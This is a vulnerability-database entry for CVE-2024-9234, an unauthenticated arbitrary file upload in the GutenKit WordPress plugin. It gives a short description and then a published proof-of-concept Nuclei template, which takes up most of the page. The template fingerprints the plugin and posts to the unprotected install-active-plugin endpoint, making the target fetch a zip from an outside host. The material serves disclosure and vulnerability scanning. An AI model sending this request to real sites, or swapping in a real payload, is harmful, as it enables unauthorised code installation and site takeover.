CVE-2024-9234: GutenKit <= 2.1.0 - Arbitrary File Upload

日期: 2025-08-01 | 影响软件: GutenKit | POC: 已公开

漏洞描述

The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.

PoC代码[已公开]

id: CVE-2024-9234

info:
  name: GutenKit <= 2.1.0 - Arbitrary File Upload
  author: s4e-io
  severity: critical
  description: |
    The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-9234
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2024-9234
    cwe-id: CWE-862
    epss-score: 0.92502
    epss-percentile: 0.99727
  metadata:
    verified: true
    max-request: 2
    vendor: wpmet
    product: gutenkit
    framework: wordpress
    fofa-query: body="wp-content/plugins/gutenkit-blocks-addon"
  tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive,vkev

variables:
  filename: "{{rand_text_alpha(12)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        plugin=http://{{interactsh-url}}/{{filename}}.zip

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "Failed to unzip plugin", "success\":false")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 4a0a0047304502200fc5255c8bed1861fcc2b9fbef9afe099b1594019c62cb61cdf2fe7f6b887351022100d5254d4758b608d128d32a1e00b10a31743661c7d55abe275606acf5c4903ba0:922c64590222798bb761d5b6d8e72950